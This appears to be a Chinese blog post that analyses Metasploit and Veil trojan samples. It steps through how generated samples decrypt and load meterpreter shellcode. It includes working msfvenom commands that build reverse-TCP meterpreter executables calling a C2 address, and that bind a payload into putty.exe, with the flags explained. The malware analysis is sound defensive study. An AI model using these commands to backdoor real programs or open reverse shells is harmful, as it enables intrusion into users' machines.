MSF概述
接上文,笔者通过上一篇文章逐渐完成了从CobaltStrike到Veil框架的过渡,在文章后半部分着重介绍了Veil框架的基本使用,也对Veil框架生成的一些恶意样本进行了一个简单的分析。
所以本文志在完成从Veil到msf的过渡,看看这些工具框架,为什么深得红队和攻击者的喜爱。
在上篇文章的最后,笔者通过Veil框架生成了c/meterpreter类型的payload并通过阅读生成的c语言代码梳理了c/meterpreter的整个流程。那么meterpreter到底是什么呢,所以在继续深入分析Veil框架所生成的木马之前,我们先来看看meterpreter相关的一些信息。
通常我们说的msf指的是MetaSploit Framework。msf是一款强大的渗透测试工具,它主要是包含了msfvenom和meterpreter。其中msfvenom是msfpayload,msfencode的结合体,它的优点是单一命令行和效率.利用msfvenom生成各种版本木马程序,并在目标机上执行,在本地监听上线,执行攻击。Meterpreter是msf强大的后渗透模块。
MSF所有类型
在kali中启动msf,然后在控制台输入msfvenom -h 查看帮助选项:
-l 参数指定了msfvenom可生成那些类型的payload以供攻击者使用,包括payload的类型、payload编码方式、加密方式、填充方式、操作系统平台、处理器架构等等。
msfvenom -l type 可查看msf所有可生成的样本类型,一共562种。具体可生成的类型可在在msf控制台中输入指令查看或在这里查看.
msfvenom -l archs 可查看msf可生成的所有平台的样本:
aarch64
armbe
armle
cbea
cbea64
cmd
dalvik
firefox
java
mips
mips64
mips64le
mipsbe
mipsle
nodejs
php
ppc
ppc64
ppc64le
ppce500v2
python
r
ruby
sparc
sparc64
tty
x64
x86
x86_64
zarch
msfvenom -l encoders 会列出msf payload所有的编码方式
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
msfvenom -l encrypt可列出msf样本中所有的代码加密方法
aes256
base64
rc4
xor
msfvenom -l formats可列出msf所有可生成的格式类型
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
vba
vba-exe
vba-psh
vbs
war
bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscript
生成MSF基本木马
所以可以通过msfvenom 加一些组合指令,进行msf payload的生成。最基本的生成指令为:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.129 LPORT=80 —platform win -f exe -o meterpreter_x86_tcp.exe
拆解一下可以得知
-p是刚才我们看到的payload类型,一共有五百多中
lhost 是需要指定的c2地址
lport 是需要制定的c2端口
—platform 是指定平台
-f 是指定format格式
-o是out表明输出路径
除此之外,还可以通过
-e 指定编码
-b 指定过滤的坏字符
-i 指定shellcode混淆的次数
-c 指定要包含的额外的shellcode文件
-x 指定一个自定义的可执行文件作为模板进行捆绑
-k 保留原本的模板文件功能,创建新线程注入payload
-t 指定payload等待时间等等
这样一来,玩法就很多了,就光是平台、payload类型、format、encoder等参数组合生成,可生成的样本就已经是指数级上升了。
MSF样本分析
创线程类样本
生成常见patch putty类的样本,就是入口点创建线程,然后解密后续payload的类型,主要就是-k参数
msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
入口点代码如下:
程序运行之后,首先会通过lea edx,byte_xxxx的方式将编码后的shellcode地址赋值给edx,然后创建线程执行edx处的函数。edx函数过来,前面一段解密代码,由于在生成样本的时候指定了i=3,所以这里会通过3个loop,边执行边解密后面的代码。
实际上,-x 的patch操作不仅是针对putty的,msfvenom可通过-x参数patch任意文件,并且根据官方的描述,-k参数可以使得被patch的程序keep原始的功能,只是将shellcode作为一个新线程注入执行。
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
所以理论上来讲,-x -k 方式patch的程序,是会保持原有功能的。
这里这里以CFF Explorer为例,看看程序被patch之后,是否还保存着原有的功能。
原始程序不依赖任何环境可正常运行
为了看起来方便,这里就不对payload进行编码了,直接生成:
由于-k 参数保存了程序的原代码,所以patch的时候会将shellcode插入到程序中,patch后的程序就会比原程序大很多:
将两个程序载入IDA可知,被patch的程序并没有新增节,而是就将线程注入的代码插入在了text节中,当线程创建之后,程序会jmp跳转到程序原始的入口点去。
但是在实际调试的时候发现,jmp过去之后并不能正常的将原来的代码启动起来。为了确定不是CFF Explorer的问题,笔者自己编译了一个C语言编写的helloworld程序。
patch之后的程序可以正常启用原代码,所以可以推测是CFF本身的问题导致patchCFF 之后不能启动,或者是msfvenom patch过大的程序就有可能出现这样的bug。
而执行的线程代码也比较简单,首先是通过一个loop动态解密后面的代码,这里要执行多少个循环跟生成木马时指定的i相关,不再赘述
代码解密之后,动态解密api地址,然后通过jmp eax的方式加载执行
以Http协议为例,在InternetConnect函数的时候跟进去,然后根据参数很明显的就可以看到回连的C2地址:
刚看完CobaltStrike分段Beacon样本的读者应该还记得,CobaltStrike样本中的shellcode也是通过这样的方式解密执行的。对比分析的话可以发现这里的代码基本一样,这是因为早期的CobaltStrike是内嵌在msf框架内部的,最开始cs是作为msf的一个工具,后来才慢慢独立出来打包成了一个新的产品。所以这段加载的shellcode,应该是从msf”继承”过来的。
完全patch的样本
上面的参数如果去掉-k ,那么程序入口点则会是一段不定长度的混淆代码(每次生成的长度不一样)
前面的无用代码跑完之后,程序会通过多个jmp解密代码,同时干扰用户分析。
F8步过jmp ,找到jl或者jne这种可跳转出去的地方
这里看样子应该是jne跳走的,所以直接在jne下面设置断点跑过去即可过掉第一部分的jmp
跳过多次之后,程序会解密出VirtualAlloc的API
拷贝shellcode到分配出来的内存空间:
然后call 到该内存中继续执行:
过来的代码就很熟悉了,其实就是创建线程类样本所创建的线程函数:
该段shellcode也硬编码在text节中
关于MSF框架的基本信息和通过默认配置生成的木马差不多就是这样了,这里只是先对其进行一个大概的介绍,方便下文接着分析Veil。
Veil(下)
概述
书接上文,学习了msf的meterpreter,现在接着看看Veil生成的meterpreter相关样本。
cs/meterpreter
这里的cs并不是CobaltStrike,而是CSharp。
Veil的9到13选项是cs/meterpreter形式的payload,其中前面三类是通过解密硬编码在样本中的数据得到下载地址,下载后续payload到内存之后创建线程加载执行。后面两类是直接将一段shellcode通过一定的编码方式存放在样本中,创建线程执行。
键入use 9 的命令尝试创建一个cs/meterpreter/rev_http类型的样本,相比c语言类型的样本,此类配置就稍显浮渣一些,包括设置检测调试器、限制domain、payload到期时间、心跳时间等等。
这里仅开启反调试并生成对应的payload
生成出来的C#样本是一个下载器,体积非常小,只有6144字节:
程序的没有多余的代码,就是解密拼接下载路径然后进行网络请求下载后续payload创建线程执行:
由于在生成样本的时候启用了反调试选项,这里在Main可以看到程序用了一个非常简单的检测反调试代码
if(!Debugger.IsAttached)
程序启动后,根据生成的随机数r和预定义的数组计算出一个长度为4的请求路径然后与main函数中预定义的ip地址进行拼接,由于请求路径的生成算法中有个随机数r,所以每次启动的请求路径是不同的:
拼接出请求路径之后,程序将会构建请求头然后尝试访问该地址并下载后续的payload,并且根据代码可知,下载回来的数据长度不小于100000
最后就是创建线程以执行这段byte
下载回来的payload又是老相识:
通过火绒剑的内存查看工具,可以看到这段shellcode的头部代码,头部基本可以看出属于msf的shellcode:
关于这段shellcode的调试方法比较多,可以将其dump出来调试,也可以直接通过x64dbg这类工具进行调试。
由于dnspy不支持调试指定的内存,这个时候就需要借助od或x64dbg这类调试工具,但od这类的工具调试.NET样本的话,外层是.NET虚拟机,这里就需要想办法绕过外层的.NET虚拟机进入到内层的代码。
通过C#代码已经得知程序最后是调用CreateThread将shellcode加载起来的,所以这里就对CreateThread的下层API设置断点,比如ZwCreateThreadEx
设置好断点之后,转到线程窗口,当看到可疑的线程出来之后即可右键转到线程入口查看:
这里很快就定位到00C10000这个线程就是我们在找的线程,此时重新加载样本,在序号为12的线程启动起来之前,回到代码的用户空间,然后对VirtualAlloc设置断点即可定位到分配空间并将下载回来的shellcode赋值的部分:
直接对这个00B60000设置断点即可过来:
这里的shellcode首先会通过一个循环解密后面的数据:
解密之后如下:
代码解密完成之后,程序会通过LoadLibrary和GetProcAddress获取所需API的地址
由于篇幅原因,这里不再对后面的代码进行详细分析,感兴趣的朋友可以可以跟着调一下后面这部分后门代码。
cs/shellcode_Inject
在Veil框架中生成C#的注入代码,分别由base64.py和virtual.py实现。
base64.py可生成默认样本、msfvenom类型样本、以string形式存在的shellcode和以hex存在的shellcode
通过此类方法会和之前一样,生成一段shellcode然后通过该段shellcode生成一个文件
此次生成的样本依旧很小,但是和上一类样本的加载方式就截然不同
这里程序将上面看到的shellcode编码成了base64的字符串,直接将这段shellcodedump出来调试,就是一段下载后续payload的shellcode
其他编码的样本大同小异,这里就不重复分析了。
lua/perl Shellcode
Veil框架中18 和19 选项分别用于生成lua脚本和perl脚本,两类脚本均为加载硬编码在代码中的shellcode:
加载代码如下:
Powershell/meterpreter
Veil中20到24选项可以生成Powershell类型的meterpreter
但这里并不是直接生成Powershell类型的ps1文件,而是生成一个bat文件,在bat中调用Powershell.exe以执行Powershell代码,bat文件文件对操作系统进行了判断,保证系统会在32位的模式下启动这段shellcode。
这里执行的Powershell代码是一段压缩后的二进制流,将其解压缩之后如下,同样的是创建线程以从C2下载后续。
经过分析,python、Ruby、Powershell多种类型的shellcode加载方式一致,主要是代码语法不同,这里就不一一展开了。目前已经基本完成CobaltStrike、Veil所生成的一些木马的完整分析。msf由于框架过于庞大,无法对其所有的样本进行详细分析。但是相信大家以后在分析过程中遇到这三类的样本时候,可以很快的看出来。